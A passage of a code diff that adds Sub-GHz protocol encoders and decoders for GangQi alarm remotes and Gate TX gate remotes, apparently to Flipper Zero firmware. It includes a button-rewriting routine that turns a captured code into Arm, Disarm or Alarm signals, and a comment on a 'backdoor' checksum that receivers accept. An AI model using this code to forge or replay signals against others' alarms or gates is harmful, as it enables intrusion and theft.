+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    GangQiDecoderStepReset = 0,
+    GangQiDecoderStepSaveDuration,
+    GangQiDecoderStepCheckDuration,
+} GangQiDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder = {
+    .alloc = subghz_protocol_decoder_gangqi_alloc,
+    .free = subghz_protocol_decoder_gangqi_free,
+
+    .feed = subghz_protocol_decoder_gangqi_feed,
+    .reset = subghz_protocol_decoder_gangqi_reset,
+
+    .get_hash_data = subghz_protocol_decoder_gangqi_get_hash_data,
+    .serialize = subghz_protocol_decoder_gangqi_serialize,
+    .deserialize = subghz_protocol_decoder_gangqi_deserialize,
+    .get_string = subghz_protocol_decoder_gangqi_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder = {
+    .alloc = subghz_protocol_encoder_gangqi_alloc,
+    .free = subghz_protocol_encoder_gangqi_free,
+
+    .deserialize = subghz_protocol_encoder_gangqi_deserialize,
+    .stop = subghz_protocol_encoder_gangqi_stop,
+    .yield = subghz_protocol_encoder_gangqi_yield,
+};
+
+const SubGhzProtocol subghz_protocol_gangqi = {
+    .name = SUBGHZ_PROTOCOL_GANGQI_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Alarms,
+
+    .decoder = &subghz_protocol_gangqi_decoder,
+    .encoder = &subghz_protocol_gangqi_encoder,
+};
+
+void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderGangQi* instance = malloc(sizeof(SubGhzProtocolEncoderGangQi));
+
+    instance->base.protocol = &subghz_protocol_gangqi;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_gangqi_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGangQi* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_gangqi_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0xE;
+            break;
+        case 0xE:
+            btn = 0xD;
+            break;
+        case 0xB:
+            btn = 0xD;
+            break;
+        case 0x7:
+            btn = 0xD;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0xB;
+            break;
+        case 0xE:
+            btn = 0xB;
+            break;
+        case 0xB:
+            btn = 0xE;
+            break;
+        case 0x7:
+            btn = 0xE;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0x7;
+            break;
+        case 0xE:
+            btn = 0x7;
+            break;
+        case 0xB:
+            btn = 0x7;
+            break;
+        case 0x7:
+            btn = 0xB;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+static void subghz_protocol_encoder_gangqi_get_upload(SubGhzProtocolEncoderGangQi* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_gangqi_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
+    uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
+    uint8_t serial_high = (uint8_t)(serial >> 8);
+    uint8_t serial_low = (uint8_t)(serial & 0xFF);
+    uint8_t bytesum = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
+
+    instance->generic.data = (instance->generic.data >> 14) << 14 | (instance->generic.btn << 10) |
+                             (bytesum << 2);
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
+                        subghz_protocol_gangqi_const.te_delta);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
+                        subghz_protocol_gangqi_const.te_delta);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_gangqi_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 10) & 0xF;
+    instance->serial = (instance->data & 0xFFFFF0000) >> 16;
+
+    // Save original button for later use
+    // if(subghz_custom_btn_get_original() == 0) {
+    //     subghz_custom_btn_set_original(instance->btn);
+    // }
+        // subghz_custom_btn_set_max(3);
+
+    // GangQi Decoder
+    // 09.2024 - @xMasterX (MMX) (last update - bytesum calculation at 02.2025)
+    // Thanks @Skorpionm for support!
+    // Thanks @Drone1950 and @mishamyte (who spent 2 weeks on this) for making this work properly
+
+    // Example of correct bytesum calculation
+    // 0xC8 - serial_high - serial_low - constant_and_button
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGangQi* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_gangqi_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_gangqi_remote_controller(&instance->generic);
+        subghz_protocol_encoder_gangqi_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_gangqi_stop(void* context) {
+    SubGhzProtocolEncoderGangQi* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_gangqi_yield(void* context) {
+    SubGhzProtocolEncoderGangQi* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderGangQi* instance = malloc(sizeof(SubGhzProtocolDecoderGangQi));
+    instance->base.protocol = &subghz_protocol_gangqi;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_gangqi_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_gangqi_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    instance->decoder.parser_step = GangQiDecoderStepReset;
+}
+
+void subghz_protocol_decoder_gangqi_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case GangQiDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
+                        subghz_protocol_gangqi_const.te_delta * 3)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+        }
+        break;
+    case GangQiDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = GangQiDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = GangQiDecoderStepReset;
+        }
+        break;
+    case GangQiDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
+                subghz_protocol_gangqi_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long) <
+                subghz_protocol_gangqi_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+                // Bit 1 is long and short timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
+                 subghz_protocol_gangqi_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_short) <
+                 subghz_protocol_gangqi_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
+                 subghz_protocol_gangqi_const.te_delta * 3)) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
+                    subghz_protocol_gangqi_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
+                    subghz_protocol_gangqi_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 34 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_gangqi_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = GangQiDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = GangQiDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = GangQiDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_gangqi_get_button_name(uint8_t btn) {
+    const char* name_btn[16] = {
+        "Unknown",
+        "Exit settings",
+        "Volume setting",
+        "0x3",
+        "Vibro sens. setting",
+        "Settings mode",
+        "Ringtone setting",
+        "Ring", // D
+        "0x8",
+        "0x9",
+        "0xA",
+        "Alarm", // C
+        "0xC",
+        "Arm", // A
+        "Disarm", // B
+        "0xF"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_gangqi_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+
+    // Parse serial
+    subghz_protocol_gangqi_remote_controller(&instance->generic);
+
+    // Get byte sum
+    uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
+    uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
+    uint8_t serial_high = (uint8_t)(serial >> 8);
+    uint8_t serial_low = (uint8_t)(serial & 0xFF);
+    // Type 1 is what original remotes use, type 2 is "backdoor" sum that receiver accepts too
+    uint8_t sum_type1 = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
+    uint8_t sum_type2 = (uint8_t)(0x02 + serial_high + serial_low + const_and_button);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%X%08lX\r\n"
+        "Serial: 0x%05lX\r\n"
+        "Sum: 0x%02X   Sum2: 0x%02X\r\n"
+        "Btn: 0x%01X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint8_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        sum_type1,
+        sum_type2,
+        instance->generic.btn,
+        subghz_protocol_gangqi_get_button_name(instance->generic.btn));
+}

applications/system/Garage Door Remote/protocols/gangqi.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_GANGQI_NAME "GangQi"
+
+typedef struct SubGhzProtocolDecoderGangQi SubGhzProtocolDecoderGangQi;
+typedef struct SubGhzProtocolEncoderGangQi SubGhzProtocolEncoderGangQi;
+
+extern const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder;
+extern const SubGhzProtocol subghz_protocol_gangqi;
+
+/**
+ * Allocate SubGhzProtocolEncoderGangQi.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderGangQi* pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderGangQi.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void subghz_protocol_encoder_gangqi_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void subghz_protocol_encoder_gangqi_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_gangqi_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderGangQi.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderGangQi* pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void subghz_protocol_decoder_gangqi_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void subghz_protocol_decoder_gangqi_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_gangqi_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/gate_tx.c

@@ -0,0 +1,331 @@
+#include "gate_tx.h"
+
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#define TAG "SubGhzProtocolGateTx"
+
+static const SubGhzBlockConst subghz_protocol_gate_tx_const = {
+    .te_short = 350,
+    .te_long = 700,
+    .te_delta = 100,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderGateTx {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderGateTx {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    GateTXDecoderStepReset = 0,
+    GateTXDecoderStepFoundStartBit,
+    GateTXDecoderStepSaveDuration,
+    GateTXDecoderStepCheckDuration,
+} GateTXDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder = {
+    .alloc = subghz_protocol_decoder_gate_tx_alloc,
+    .free = subghz_protocol_decoder_gate_tx_free,
+
+    .feed = subghz_protocol_decoder_gate_tx_feed,
+    .reset = subghz_protocol_decoder_gate_tx_reset,
+
+    .get_hash_data = subghz_protocol_decoder_gate_tx_get_hash_data,
+    .serialize = subghz_protocol_decoder_gate_tx_serialize,
+    .deserialize = subghz_protocol_decoder_gate_tx_deserialize,
+    .get_string = subghz_protocol_decoder_gate_tx_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder = {
+    .alloc = subghz_protocol_encoder_gate_tx_alloc,
+    .free = subghz_protocol_encoder_gate_tx_free,
+
+    .deserialize = subghz_protocol_encoder_gate_tx_deserialize,
+    .stop = subghz_protocol_encoder_gate_tx_stop,
+    .yield = subghz_protocol_encoder_gate_tx_yield,
+};
+
+const SubGhzProtocol subghz_protocol_gate_tx = {
+    .name = SUBGHZ_PROTOCOL_GATE_TX_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_gate_tx_decoder,
+    .encoder = &subghz_protocol_gate_tx_encoder,
+};
+
+void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderGateTx* instance = malloc(sizeof(SubGhzProtocolEncoderGateTx));
+
+    instance->base.protocol = &subghz_protocol_gate_tx;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_gate_tx_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGateTx* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_gate_tx_get_upload(SubGhzProtocolEncoderGateTx* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short * 49);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGateTx* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_gate_tx_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_gate_tx_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_gate_tx_stop(void* context) {
+    SubGhzProtocolEncoderGateTx* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context) {
+    SubGhzProtocolEncoderGateTx* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderGateTx* instance = malloc(sizeof(SubGhzProtocolDecoderGateTx));
+    instance->base.protocol = &subghz_protocol_gate_tx;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_gate_tx_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_gate_tx_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    instance->decoder.parser_step = GateTXDecoderStepReset;
+}
+
+void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case GateTXDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short * 47) <
+                        subghz_protocol_gate_tx_const.te_delta * 47)) {
+            //Found Preambula
+            instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
+        }
+        break;
+    case GateTXDecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
+                     subghz_protocol_gate_tx_const.te_delta * 3)) {
+            //Found start bit
+            instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = GateTXDecoderStepReset;
+        }
+        break;
+    case GateTXDecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_gate_tx_const.te_short * 10 +
+                            subghz_protocol_gate_tx_const.te_delta)) {
+                instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_gate_tx_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = GateTXDecoderStepCheckDuration;
+            }
+        }
+        break;
+    case GateTXDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_short) <
+                subghz_protocol_gate_tx_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
+                subghz_protocol_gate_tx_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_long) <
+                 subghz_protocol_gate_tx_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short) <
+                 subghz_protocol_gate_tx_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = GateTXDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = GateTXDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_gate_tx_check_remote_controller(SubGhzBlockGeneric* instance) {
+    uint32_t code_found_reverse =
+        subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
+
+    instance->serial = (code_found_reverse & 0xFF) << 12 |
+                       ((code_found_reverse >> 8) & 0xFF) << 4 |
+                       ((code_found_reverse >> 20) & 0x0F);
+    instance->btn = ((code_found_reverse >> 16) & 0x0F);
+}
+
+uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
